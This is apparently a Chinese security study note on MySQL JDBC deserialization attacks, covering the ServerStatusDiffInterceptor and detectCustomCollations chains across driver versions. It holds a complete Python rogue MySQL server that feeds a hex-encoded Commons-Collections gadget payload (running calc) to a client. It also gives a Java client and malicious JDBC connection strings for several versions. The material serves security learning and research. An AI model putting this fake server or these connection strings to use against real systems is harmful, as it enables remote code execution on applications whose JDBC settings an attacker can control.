来学一下常见的JDBC反序列化，是MYSQL的，参考文章：https://tttang.com/archive/1877/
JDBC简单介绍
一个简单的查询demo
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
public class Main {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.cj.jdbc.Driver");
Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/test?serverTimezone=Asia/Shanghai&", "root", "root123");
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery("select * from ceshi");
while (resultSet.next()) {
System.out.println(resultSet.getString("name"));
}
}
}
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漏洞原理
若攻击者能控制JDBC连接设置项，则可以通过设置其配置指向恶意MySQL服务器触发ObjectInputStream.readObject()，构造反序列化利用链从而造成RCE。
通过JDBC连接MySQL服务端时，会有几句内置的查询语句需执行，其中两个查询的结果集在MySQL客户端进行处理时会被ObjectInputStream.readObject()进行反序列化处理。如果攻击者可以控制JDBC连接设置项，那么可以通过设置其配置指向恶意MySQL服务触发MySQL JDBC客户端的反序列化漏洞。
可被利用的两条查询语句：
ServerStatusDiffInterceptor利用链
参考文章：https://xz.aliyun.com/t/8159?time__1311=n4%2BxnD0Dc7GQDtY40KDsA3xCTTNrKhK3DgAmoD
这里的环境如下
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.13</version>
</dependency>
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cc是为了用来触发反序列化的
原理分析
首先我们的任务就是找包内有哪个类的方法里面有readObject函数，链子的作者在挖掘的时候就找到了这个入口点com.mysql.cj.jdbc.result.ResultSetImpl.getObject()
这里就存在readObject方法，那就需要像正常找链子一样往上找了
这里只要我们在jdbc url中设置autoDeserialize为true就可以进入到readObject里面
-84和-19是序列化对象的前两个字节，用来标识数据是否为序列化对象
这里可以找到ResultSetUtil这个类的resultSetToMap
然后再继续往上找
最终就找到了我们的com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues方法，这里执行了我们的前面提到过的SHOW SESSION STATUS语句，然后将返回的结果传入resultSetToMap方法来调用
该类是一个拦截器，在JDBC URL中设定属性queryInterceptors为ServerStatusDiffInterceptor时，执行查询语句会调用拦截器的preProcess和postProcess方法，这两个方法里面都调用了populateMapWithSessionStatusValues方法
这样就构成了我们的触发条件了
那我们的攻击思路就是，要让SHOW SESSION STATUS返回的结果是一个恶意的序列化对象，我们就需要根据MySql协议的流量格式去写一个恶意的MySql服务器让客户端连接
我们可以起一个mysql的docekr容器然后去抓一下流量来分析
就用前面简单的例子执行一下抓一下过程即可，如上图
抓本地回环包需要下载npcap才行
比如Response OK
我们只需要返回这些数据即可
我们的攻击过程就是照抄流量包，按照返回的顺序返回给客户端即可，我们可以执行一条SHOW SESSION STATUS的查询跟着伪造一下
然后copy一下文章有关结果集数据包的结构
- 数据段1：说明下面的结果集有多少列
- 数据段2：列的定义
- 数据段3： EOF 包
- 数据段4：行数据。
exp编写
这里就直接copy师傅的poc了，读一读代码学习一下
恶意mysql服务
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
file= r'a'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")
else:
print("open false")
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
send_data(conn,greeting_data)
while True:
receive_data(conn)
send_data(conn,response_ok_data)
data=receive_data(conn)
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
payload_content=get_payload_content()
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break
if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3309
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
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Client
package org.clown.ServerStatusDiffInterceptor;
import java.sql.Connection;
import java.sql.DriverManager;
public class Client {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}
}
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然后生成一个cc7的payload文件放在poc的目录下
卧槽这有个奇怪的坑，ysoserial生成payload的时候命令不能用引号括起来，不然就报错了，反正我是这样的（应该是不能单引号，双引号是可以的
执行效果
然后8.0.20之后不再调用resultSetToMap方法，也就是不再调用getObject方法了，所以这条链也就打不通了
其他版本
参考文章：https://www.anquanke.com/post/id/203086
先说一下由于版本不同带来的改变
- 从6.0开始主要使用的包名从·
com.mysql变为了com.mysql.cj,所以ServerStatusDiffInterceptor所在位置也有所改变。
- 5.1.11-6.0.6使用的interceptors属性为statementInterceptors，8.0以上使用的为queryInterceptors。
- 5.1.11以下，无法直接通过连接触发：在执行getConnection时，会执行到com.mysql.jdbc.ConnectionImpl中
各版本最后都是需要到getObject方法里面去进行反序列化
5.1.0-5.1.10
连接串如下：
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
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连接之后需要执行查询
5.1.11-5.x.xx
连接串如下：
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
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6.x
连接串如下：
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
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detectCustomCollations链
各版本连接串
先给出各版本的连接串
- 5.1.19-5.1.28：jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
- 5.1.29-5.1.48：jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
- 5.1.49：不可用
- 6.0.2-6.0.6：jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
- 8.x.x ：不可用
该链子反序列化的点也是在resultSetToMap()方法里面
payload的不同主要在于有些版本会对detectCustomCollations参数进行校验之后才会到反序列化点里面去。
原理分析
5.1.19-5.1.40
这里的利用利用链比较简单，在getConnection的时候会调用到**com.mysql.jdbc.ConnectionImpl#buildCollationMapping()**方法
这里执行了SHOW COLLATION查询语句，然后调用了resultSetToMap
5.1.41-5.1.48
该版本的buildCollationMapping()方法不再调用resultSetToMap方法，但是直接调用了getObject方法，所以payload也没变化
5.1.49
该版本就不再调用getObject方法，所以链子也就不可用了
6.0.2-6.0.6
该版本resultSetToMap又回来了
8.x.x
8.0以上不再在com.mysql.cj.jdbc.ConnectionImpl中直接执行及获取”SHOW COLLATION”语句，调用链更改，不再调用getObject()方法，此链失效
mysql恶意服务器
起恶意的mysql服务还可以用fnmsd师傅的MySQL_Fake_Server项目（这个我没跑起来）
还推荐一个java写的带gui的项目：https://github.com/4ra1n/mysql-fake-server
